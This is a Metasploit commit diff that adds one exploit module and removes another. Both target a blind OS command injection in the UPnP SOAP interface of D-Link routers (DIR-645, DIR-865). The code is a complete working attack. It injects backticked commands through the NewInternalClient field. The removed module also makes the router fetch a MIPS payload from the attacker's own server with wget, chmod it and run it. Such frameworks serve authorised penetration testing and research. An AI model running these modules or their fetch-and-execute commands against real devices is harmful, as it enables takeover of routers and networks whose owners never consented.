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migrate from wget to echo mechanism

bug/bundler_fix
Michael Messner 2014-07-06 21:45:53 +02:00
parent 5e7f356f31
commit e7ade9f84d
2 changed files with 134 additions and 267 deletions
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134
modules/exploits/linux/http/dlink_upnp_exec_echo.rb Normal file
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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices UPnP SOAP Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
interface. Since it is a blind OS command injection vulnerability, there is no
output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '94924' ],
[ 'BID', '61005' ],
[ 'EDB', '26664' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
],
'DisclosureDate' => 'Jul 05 2013',
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
{
'Platform' => 'linux',
'Arch' => ARCH_MIPS
}
],
],
'DefaultTarget' => 0
))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'uri' => '/InternetGatewayDevice.xml'
})
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-645<\/modelNumber>/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Trying to access the vulnerable URL...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 400,
)
end
def execute_command(cmd, opts)
new_portmapping_descr = rand_text_alpha(8)
new_external_port = rand(32767) + 32768
new_internal_port = rand(32767) + 32768
uri = '/soap.cgi'
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
data_cmd = "<?xml version=\"1.0\"?>"
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data_cmd << "<SOAP-ENV:Body>"
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
data_cmd << "<NewPortMappingDescription>#{new_portmapping_descr}</NewPortMappingDescription>"
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
data_cmd << "<NewEnabled>1</NewEnabled>"
data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
data_cmd << "<NewRemoteHost></NewRemoteHost>"
data_cmd << "<NewProtocol>TCP</NewProtocol>"
data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
data_cmd << "</m:AddPortMapping>"
data_cmd << "</SOAP-ENV:Body>"
data_cmd << "</SOAP-ENV:Envelope>"
begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'service' => 'WANIPConn1'
},
'ctype' => "text/xml",
'method' => 'POST',
'headers' => {
'SOAPAction' => soapaction,
},
'data' => data_cmd
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

267
modules/exploits/linux/http/dlink_upnp_exec_noauth.rb
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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::CommandShell
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices UPnP SOAP Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
interface. Since it is a blind OS command injection vulnerability, there is no
output for the executed command when using the CMD target. Additionally, a target
to deploy a native mipsel payload, when wget is available on the target device, has
been added. This module has been tested on DIR-865 and DIR-645 devices.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '94924' ],
[ 'BID', '61005' ],
[ 'EDB', '26664' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
],
'DisclosureDate' => 'Jul 05 2013',
'Privileged' => true,
'Platform' => %w{ linux unix },
'Payload' =>
{
'DisableNops' => true,
},
'Targets' =>
[
[ 'CMD', #all devices
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1
))
register_options(
[
Opt::RPORT(49152), #port of UPnP SOAP webinterface
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
], self.class)
end
def exploit
@new_portmapping_descr = rand_text_alpha(8)
@new_external_port = rand(65535)
@new_internal_port = rand(65535)
if target.name =~ /CMD/
exploit_cmd
else
exploit_mips
end
end
def exploit_cmd
if not (datastore['CMD'])
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = payload.encoded
type = "add"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
type = "delete"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
return
end
def exploit_mips
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
#thx to Juan for his awesome work on the mipsel elf support
@pl = generate_payload_exe
@elf_sent = false
#
# start our server
#
resource_uri = '/' + downfile
if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
# do not use SSL for this part
# XXX: See https://dev.metasploit.com/redmine/issues/8498
# It must be possible to do this without directly editing the
# datastore.
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
# Restore SSL preference
# XXX: See https://dev.metasploit.com/redmine/issues/8498
# It must be possible to do this without directly editing the
# datastore.
datastore['SSL'] = true if ssl_restore
end
#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
type = "add"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")
type = "delete"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
end
def request(cmd, type)
uri = '/soap.cgi'
data_cmd = "<?xml version=\"1.0\"?>"
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data_cmd << "<SOAP-ENV:Body>"
if type == "add"
vprint_status("#{rhost}:#{rport} - adding portmapping")
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
data_cmd << "<NewEnabled>1</NewEnabled>"
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
data_cmd << "<NewRemoteHost></NewRemoteHost>"
data_cmd << "<NewProtocol>TCP</NewProtocol>"
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
data_cmd << "</m:AddPortMapping>"
else
#we should clean it up ... otherwise we are not able to exploit it multiple times
vprint_status("#{rhost}:#{rport} - deleting portmapping")
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
data_cmd << "</m:DeletePortMapping>"
end
data_cmd << "</SOAP-ENV:Body>"
data_cmd << "</SOAP-ENV:Envelope>"
begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'service' => 'WANIPConn1'
},
'ctype' => "text/xml",
'method' => 'POST',
'headers' => {
'SOAPAction' => soapaction,
},
'data' => data_cmd
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
end
end
end
end